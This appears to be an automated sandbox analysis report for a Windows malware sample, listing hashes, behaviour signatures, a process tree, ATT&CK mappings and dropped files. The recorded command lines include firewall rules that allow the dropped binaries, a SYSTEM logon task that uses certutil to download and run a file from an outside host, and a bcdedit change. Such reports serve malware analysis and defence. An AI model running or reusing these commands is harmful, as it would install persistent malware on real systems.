988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059

General

Target

988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
Size

3.8MB
MD5

795847175d72c68819a2f8e0dfed1e98
SHA1

00c46c3540cbaa0b5a3e072ad0cd6a35fad49102
SHA256

988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059
SHA512

316eb4693aa242f94ee9071d6a82db81ec851dd40cee6879c2ea924fed7c3ae9ab02e7cab5a7c51231a54c3ffc4df3536a5ff5b99902f8a8af440232357c9d5a

Score

10^/10

evasion

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

svchost.exe

description pid process target process

PID 4424 created 904 4424 svchost.exe 988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3324 bcdedit.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3500 schtasks.exe
3732 schtasks.exe

description	pid	process	target process
PID 4424 created 904	4424	svchost.exe	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe

pid	process
3324	bcdedit.exe

pid	process
3500	schtasks.exe
3732	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe

pid	process
904	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
904	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
4500	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
4500	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	904	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
Token: SeImpersonatePrivilege	904	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
Token: SeTcbPrivilege	4424	svchost.exe
Token: SeTcbPrivilege	4424	svchost.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

svchost.exe988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.execmd.exe

description	pid	process	target process
PID 4424 wrote to memory of 4500	4424	svchost.exe	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
PID 4424 wrote to memory of 4500	4424	svchost.exe	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
PID 4424 wrote to memory of 4500	4424	svchost.exe	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
PID 4500 wrote to memory of 608	4500	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe	cmd.exe
PID 4500 wrote to memory of 608	4500	988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe	cmd.exe
PID 608 wrote to memory of 3148	608	cmd.exe	netsh.exe
PID 608 wrote to memory of 3148	608	cmd.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
"C:\Users\Admin\AppData\Local\Temp\988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\Users\Admin\AppData\Local\Temp\988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe
"C:\Users\Admin\AppData\Local\Temp\988103f227a80a74be7836bd77d6dfd70c3bedff8c6f574e5818a5f6e52fe059.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:608

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:3148

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes"
3⤵
PID:888

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
PID:1060

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3500

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3732

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3324

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes
1⤵
PID:4752

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.1MB

MD5
130c417ec020536fc51190dadacc28b5

SHA1
1e27c5b3da9f817482b5c00a80a7e498fd497a28

SHA256
4d00c1804570d1ecbfc07b5084ec1cd734fd03b346f81017ba24badbdfbb11e7

SHA512
de4df19a7e7688f72688fa5a6c64877a4f55fd06567702463822539479556b4bc4ec7f9440ad05ef7c9ec2e396a996d32695ce10fee32063eae3193ccc5b51f0

Download Submit
C:\Windows\rss\csrss.exe
Filesize
2.7MB

MD5
ca698116e73b34ce6fee614b1d2f9f34

SHA1
5d71357d19c963bb0e7cddbd179b3c6e0edfdf54

SHA256
a39b83f1053e3c8f27359f567906c3cf1dec702a4f0354a9ab4eb4cf25b49558

SHA512
5351b0c3560655415ba6a7f37308fd6320b0950b9e053cfa89f489a0e1248e4a808a62383b743c387537a561a0aebe2440e7a35dfb042f2b6fe2f7b39ad8fd07

Download Submit
memory/608-137-0x0000000000000000-mapping.dmp

Download
memory/888-139-0x0000000000000000-mapping.dmp

Download
memory/904-130-0x0000000002AF3000-0x0000000002E99000-memory.dmp

Filesize
3.6MB

Download
memory/904-132-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/904-131-0x0000000002EA0000-0x0000000003596000-memory.dmp

Filesize
7.0MB

Download
memory/1060-147-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/1060-146-0x0000000002E00000-0x00000000031A6000-memory.dmp

Filesize
3.6MB

Download
memory/1060-141-0x0000000000000000-mapping.dmp

Download
memory/3148-138-0x0000000000000000-mapping.dmp

Download
memory/3324-150-0x0000000000000000-mapping.dmp

Download
memory/3500-145-0x0000000000000000-mapping.dmp

Download
memory/3732-144-0x0000000000000000-mapping.dmp

Download
memory/4228-148-0x0000000000000000-mapping.dmp

Download
memory/4500-135-0x0000000002C60000-0x0000000003356000-memory.dmp

Filesize
7.0MB

Download
memory/4500-136-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/4500-134-0x00000000028B0000-0x0000000002C56000-memory.dmp

Filesize
3.6MB

Download
memory/4500-133-0x0000000000000000-mapping.dmp

Download
memory/4752-140-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads